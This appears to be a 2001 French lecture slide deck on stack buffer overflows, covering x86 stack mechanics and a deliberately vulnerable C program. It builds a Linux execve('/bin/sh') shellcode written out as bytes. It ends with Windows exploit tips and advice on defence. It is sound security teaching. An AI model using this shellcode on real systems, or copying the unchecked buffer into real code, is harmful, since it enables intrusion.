22
Sécurité et Buffer Overflow Yan Morvan – Juin 2001

Sécurité et Buffer Overflow Yan Morvan – Juin 2001

Embed Size (px)

Citation preview

Page 1: Sécurité et Buffer Overflow Yan Morvan – Juin 2001

Sécurité et Buffer Overflow

Yan Morvan – Juin 2001

Page 2: Sécurité et Buffer Overflow Yan Morvan – Juin 2001

Plan

• Le microprocesseur Intel 80386• Principe du Buffer Overflow• Que faire après la prise de

contrôle ?• Comment se protéger contre ces

attaques ?

Page 3: Sécurité et Buffer Overflow Yan Morvan – Juin 2001

Le microprocesseur Intel 80386

Les registres de segment :CS, SS, DS, ES, FS, GS

Les registres banalisés :EAX, EBX, ECX, EDX, ESI, EDI

Les autres registres :EFLAGS, EIP, EBP, ESP

Page 4: Sécurité et Buffer Overflow Yan Morvan – Juin 2001

Décomposition d’un programme

le codeles datasla pile

Page 5: Sécurité et Buffer Overflow Yan Morvan – Juin 2001

Mécanisme de segmentation

CS

SS

DS

descripteur de segment

descripteur de segment

descripteur de segment

Code

Pile

Datas

Mémoire

Page 6: Sécurité et Buffer Overflow Yan Morvan – Juin 2001

Organisation de la mémoire sous Windows 32 et Linux

CS

SS

DS

descripteur de segment

descripteur de segment

descripteur de segment

Code

Pile

Datas

Mémoire

Page 7: Sécurité et Buffer Overflow Yan Morvan – Juin 2001

L’instruction mov

movx <source>,<dest> ; x = b, w ou l

movl $2001,%eax// EAX <- 2001 ; copie le nombre 2001 dans EAX

movw $0xFFFF,%bx // BX<- 0xFFFF ; copie la valeur 65536 dans BX

movl %ecx,(%eax) // [EAX] <- ECX ; [EAX] est la case mémoire pointée par EAX

movb $0,4(%eax) // [EAX+4] <- 0 ; adressage base, déplacement

Page 8: Sécurité et Buffer Overflow Yan Morvan – Juin 2001

Les sauts inconditionnels

jmp 0x08056E42 /* Adressage direct

EIP <- 0x08056E42 ; le programme va à l’adresse 0x08056E42 */

Debut: /* Etiquette Debut */

jmp Debut /* Déplacement généré sur 8 bits de valeur –2 (2 est la taille en octets de l’instruction jmp Debut) */

jmp *%eax /* Adressage indirect

EIP <- EAX ; Saut à l’adresse contenue dans EAX */

Page 9: Sécurité et Buffer Overflow Yan Morvan – Juin 2001

La pile

pushl <dest> décrémente ESP de 4 et pousse le contenu de <dest> sur la pile

popl <dest> dépile la valeur pointée par ESP dans <dest> et incrémente ESP de 4

Page 10: Sécurité et Buffer Overflow Yan Morvan – Juin 2001

Conventions de la procédure appelante

void main() {

int a,b,c,d ;

|

d = appel(a,b,c) ;

|

}

d = appel(a,b,c) ;

pushl c

pushl b

pushl a

call appel

addl $12,%esp // Suppression des paramètres de la pile.

Page 11: Sécurité et Buffer Overflow Yan Morvan – Juin 2001

Conventions de la procédure appelée

Début : pushl %ebp // EBP empilé

movl %esp,%ebp // EBP <- ESP

subl $8,%esp /* Place pour les variables locales d et pt

D est un entier de 4 octets

Pt est un pointeur contenant une adresse. Il est donc codé sur 4 octets. */

pushad // Sauvegarde de tous les registres

Fin :popad // Restauration des registres

movl –4(%ebp),%eax // -4(%ebp) contient la valeur de d

movl %ebp,%esp // Suppression des variables locales

popl %ebp // Restauration de l'ancien EBP

 ret

int appel(int a, int b, int c) {

int d ;char *pt ;||return d ;

}

Page 12: Sécurité et Buffer Overflow Yan Morvan – Juin 2001

Contexte de l'appelant

nème paramètre empilé par l'appelant

1er paramètre empilé par l'appelant

Adresse de retour empilée par call

EBP de l'appelant sauvé par l'appelé

1ère variable locale de l'appelé

nème variable locale de l'appelé

Sauvegarde des registres utilisés par l'appelé

Adresses hautes

Adresses basses

Croissance de la pile

ESP

EBP

Page 13: Sécurité et Buffer Overflow Yan Morvan – Juin 2001

Le programme vulnérableint main(int argc , char * argv[]) {

// Lit une chaine dans le fichier texte passe en 1er paramètre et l'affiche à l'écran

char buf[512] , *c ;

FILE *fichier ;

|c = &buf[0] ;

while((*c = fgetc(fichier)) != 0) {

c++ ;

}

|

Page 14: Sécurité et Buffer Overflow Yan Morvan – Juin 2001

Etat de la pile au début du main

Adresse de retour empilée par call main

EBP de l'appelant sauvé par main

pointeur *c (4 octets)

Adresses hautes

Adresses basses

ESP

EBP

buf512 octets

buf[511]

buf[0]

*fichier (16 octets)

8 octets supplémentaires

Page 15: Sécurité et Buffer Overflow Yan Morvan – Juin 2001

Adresses basses

Adresses hautes

buf[0] NOP

NOP

shellcode

0xeb

0x18

'h'

Nouvelle adresse de retour

Nouvelle adresse de retour

buf[511]

EBP sauvegardé

adresse de retour

Nouvelle adresse de retour

Sens de la pile

Exécution des instructions

size

_to

t

size

_to

t /

NO

P_D

IV

Page 16: Sécurité et Buffer Overflow Yan Morvan – Juin 2001

Ouvrir un shell en C

#include <stdio.h>void main() { char *name[2];

name[0] = "/bin/sh"; name[1] = NULL; execve(name[0], name, NULL);}

Page 17: Sécurité et Buffer Overflow Yan Morvan – Juin 2001

Besoins nécessaires à l’ouverture du Shell

Avoir en mémoire la chaîne "bin/sh" suivie du caractère NULL (caractère de fin de chaîne) Avoir en mémoire l'adresse de la chaîne "bin/sh" suivie d'un double mot NULL Copier 0xb dans le registre EAX Copier l'adresse de "bin/sh" dans le registre EBX Copier l'adresse de l'adresse de "/bin/sh" dans le registre ECX Copier NULL dans le registre EDX Exécuter l'instruction int $0x80

Page 18: Sécurité et Buffer Overflow Yan Morvan – Juin 2001

Compilation et obtention des codes opérations

void main() {__asm__("jmp 0x18 //2 octetspopl %esi // 1 octetmovl %esi,0x8(%esi) // 3 octetsxorl %eax,%eax // 2 octetsmovb %al,0x7(%esi) // 3 octetsmovl %eax,0xc(%esi) // 3 octetsmovb $0xb,%al // 2 octetsmovl %esi,%ebx // 2 octetsleal 0x8(%esi),%ecx // 3 octetsleal 0xc(%esi),%edx // 3 octetsint $0x80 // 2 octets call -0x19 // 5 octets.string \"/bin/sh\" ");}

char shellcode[] ="\xeb\x18\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b""\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\xe8\xe3\xff\xff\xff/bin/sh";

Page 19: Sécurité et Buffer Overflow Yan Morvan – Juin 2001

Précautions à prendre

Supprimer du code les caractères interditsUtiliser l’adressage relatif pour les sautsPositionner le pointeur de pile pour ne pas écraser le code

Page 20: Sécurité et Buffer Overflow Yan Morvan – Juin 2001

Exploit sous Windows

Importation des fonctions systèmes utiles avec LoadLibraryA et GetProcAddress de la librairie Kernel32.dllUtiliser un débugger temps réel pour trouver l’adresse de retourEditer le fichier texte avec un éditeur binaire

Page 21: Sécurité et Buffer Overflow Yan Morvan – Juin 2001

Se protéger lorsqu’on est utilisateur

Consulter régulièrement les newsletter portant sur la sécuritéAppliquer les mises à jour immédiatement

Page 22: Sécurité et Buffer Overflow Yan Morvan – Juin 2001

Protéger lorsqu’on est développeur

Instructions C à remplacer :gets(), strcpy(), strcat(), sprintf(), scanf(), sscanf()

Utiliser StackGuard ou StackShield